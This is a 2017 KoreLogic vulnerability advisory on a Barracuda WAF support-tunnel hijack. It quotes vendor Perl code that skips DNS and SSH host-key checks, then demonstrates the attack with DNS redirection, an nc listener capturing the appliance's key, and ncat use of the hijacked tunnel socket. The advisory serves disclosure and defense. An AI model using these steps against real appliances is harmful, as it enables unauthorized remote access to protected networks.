Date: Thu, 6 Jul 2017 14:22:19 -0500
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

Title: Barracuda WAF Support Tunnel Hijack
Advisory ID: KL-001-2017-014
Publication Date: 2017.07.06
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-014.txt


1. Vulnerability Details

     Affected Vendor: Barracuda
     Affected Product: Web Application Firewall V360
     Affected Version: Firmware v8.0.1.014
     Platform: Embedded Linux
     CWE Classification: CWE-304: Missing Critical Step In Authentication
     Impact: Remote Access
     Attack vector: DNS, SSH

2. Vulnerability Description

     During the creation of a tunnel connection to barracuda
     support, the code creating the tunnels fails to:
       1) Validate DNS Records,
       2) Validate SSH Host Key, and
       3) Transmit Public SSH Key over an encrypted, verified channel.

3. Technical Description

     file: /usr/local/bin/support-tunnel

     The first host added to the available remote hosts is done through using
     DNS resolution on support01.barracudanetworks.com. If an attacker can control DNS,
     it is possible to subvert network traffic by creating records that will resolve to
     an attacker's IP address.

       [snip]
       sub remote_hosts() {
           my $central = 'support01.barracudanetworks.com';
           my @hosts;
           my $host = resolv_host($central) || $central;

           push @hosts, {
               'ssh' => { 'host' => $host, 'port' => 22 },
               'web' => { 'host' => $host, 'port' => 80 },
           };

           push @hosts, {
               'ssh' => { 'host' => '64.235.147.77', 'port' => 22 },
               'web' => { 'host' => '64.235.147.77', 'port' => 80 },
           };

           push @hosts, {
               'ssh' => { 'host' => '64.235.154.112', 'port' => 22 },
               'web' => { 'host' => '64.235.154.112', 'port' => 80 },
           };

           return @hosts;
       } # remote_hosts
       [snip]

     The appliance will send a URL-encoded copy of the public key using HTTP.

       sub tunnel_post_key($$$$) {
               my $host        = shift;
               my $port        = shift;
               my $serial      = shift;
               my $pubkey      = shift;

               [snip]

               $url    = sprintf('/tunnel-broker?serial=%s&cs=%s&key=%s&keycs=%s&version=%s', $serial,
Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex($pubkey), url_escape(VERSION));

               #
               # Write an HTTP request.
               #
               $req    = "GET $url HTTP/1.0\r\nHost: $host\r\n\r\n";

               do {
                       $retval = aio_write($sock, $req);
               } while ($retval == AIO_WOULDBLOCK && $stop > time);

               if ($retval != AIO_SUCCESS) {
                       throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $req): $!");
                       aio_close($sock);
                       return undef;
               }

               [snip]

               return 1;
       } # tunnel_post_key

     It should be noted that the appliance is shipped with a default key
     (pvt_md5:194d9a5167153e1137134e1896d67b47,pub_md5:62c3a6e160cc501f2ffa2d1434176e93)
     but will generate and submit a new key should the default key no longer exist.
     This happens in the ssh_key_path function.

     Finally, the appliance specifically sets StrictHostKeyChecking to no.
     This instructs the ssh client to ignore any SSH host-key mismatch and allows
     an attacker to more easily leverage their own SSH server for attacks.

       sub ssh_command_args($\$$$$;$$) {
               my $sshcmd      = shift;
               my $serialref   = shift;
               my $sshkey      = shift;
               my $sshhost     = shift || 'support01.barracudanetworks.com';
               my $sshport     = shift || 22;
               my $lsshport    = shift || local_ssh_port || 22;
               my $lwebport    = shift || local_web_port || 8000;
               my $lsslvpnport = shift;
               if( get_product() eq "bvs" ) {
                       $lsslvpnport = local_sslvpn_port || 443 if !$lsslvpnport;
               }
               my @version     = ssh_version_of($sshcmd);
               my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defineremotehost);

               $has_unixfwd            = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
               $has_exitonfwdfailure   = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
               $has_defineremotehost   = ($version[0] >= 4);

               push @args, '-T';                               # Don't allocate a TTY
               push @args, '-' . ('v' x want_verbose)          # Passthru verbosity
                       if want_verbose;
               push @args, '-o', 'StrictHostKeyChecking=no';   # Ignore Support01 host key (bad idea?)
               push @args, '-i', $sshkey;

               push @args, '-o', 'ExitOnForwardFailure=yes'    # Abort if forwarding fails. (By default if remote
forwarding fails SSH continues the session.)
                       if $has_exitonfwdfailure;

               if ($has_unixfwd) {
                       push @args, '-R', "[/var/tunnels/ssh/${$serialref}.sock]:127.0.0.1:$lsshport";
                       push @args, '-R', "[/var/tunnels/www/${$serialref}.sock]:127.0.0.1:$lwebport";
                       push @args, '-R', "[/var/tunnels/sslvpn/${$serialref}.sock]:127.0.0.1:$lsslvpnport" if
get_product() eq "bvs";
       [snip]

     To demonstrate, we created DNS entries to force support01.barracudanetworks.com to resolve to 1.3.3.7.
     Next, we bound to port 80. Using either the web application or admin console, we initiated a support
     tunnel connection.

       # nc -l -p 80
       GET
/tunnel-broker?serial=853466&cs=6a62a850a77a698f015c35dba7e79a28&key=ssh%2drsa%20AAAAB3NzaC1yc2EAAAABIwAAAQEAuYb3kDIgcgC89npzov3kteC6qkXLzLl%2bopttn5e3WokAlbZFIqFpl67X8ESfhmP7RXaYPiqHEsPEI%2fSuUnapJKYe2gMp7ZmfjYi1rXgXkohWzD8DCZPJUgfUk22zdRWxS%2bhPioXjKwO5nZqu1JdH%2fQ11ModDUEhKOluJLvVrqALTLcFkNsnEy89IpbLCchM8rqn86f38NrCQpqqi7aDx6senUzDit2m6Ay27%2f6hUcGiQi331muHcCXMPUPWvV0gFcpjCN1x15%2bMFCUWkAkaJ4E0%2beXyC7YxgglwwnM36RQarpIElmZ5j6Y2RYGdvQdgHR7esiw34Jfx%2fmT7GM60GHQ%3d%3d&keycs=db06172872d43ce0370b4509f3d0b876&version=2008012801
HTTP/1.1
       TE: deflate,gzip;q=0.3
       Connection: TE, close
       Host: support01.barracudanetworks.com
       User-Agent: libwww-perl/5.805

     After creating the appropriate user and adding the public key to the
     authorized_keys file, the SSH connection was successful.

       sshd[4946]: Accepted publickey for redir from 1.3.3.7 port 60950 ssh2: RSA
de:c6:c2:bd:c0:0a:54:31:32:ad:3b:2d:72:80:77:49
       sshd[4946]: pam_unix(sshd:session): session opened for user redir by (uid=0)
       systemd-logind[692]: New session 92 of user redir.
       systemd: pam_unix(systemd-user:session): session opened for user redir by (uid=0)

     The tunnels can be connected to using the newly created unix socket.

       # ncat -U /var/tunnels/www/853466.sock
       GET / HTTP/1.1

       HTTP/1.1 400 Bad Request
       Server: BarracudaHTTP 4.0
       Date: Thu, 15 Dec 2016 15:27:22 GMT
       Content-Type: text/html
       Content-Length: 178
       Connection: close

       <html>
       <head><title>400 Bad Request</title></head>
       <body bgcolor="white">
       <center><h1>400 Bad Request</h1></center>
       <hr><center>BarracudaHTTP 4.0</center>
       </body>
       </html>

4. Mitigation and Remediation Recommendation

     The vendor has patched this vulnerability in the latest
     virtual appliance release.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc. and Joshua Hardin.

6. Disclosure Timeline

     2016.12.20 - KoreLogic sends vulnerability report and PoC to
                  Barracuda.
     2016.12.21 - Barracuda acknowledges receipt of the vulnerability
                  report.
     2017.01.09 - Barracuda informs KoreLogic that they are working
                  on remediation for this issue.
     2017.01.26 - Barracuda asks for additional time beyond the
                  standard 45 business day embargo to address this
                  and other issues reported by KoreLogic.
     2017.02.27 - 45 business days have elapsed since the issue was
                  reported.
     2017.04.10 - 75 business days have elapsed since the issue was
                  reported.
     2017.05.15 - 100 business days have elapsed since the issue was
                  reported.
     2017.05.24 - Barracuda informs KoreLogic that the issue has been fixed.
     2017.07.06 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt



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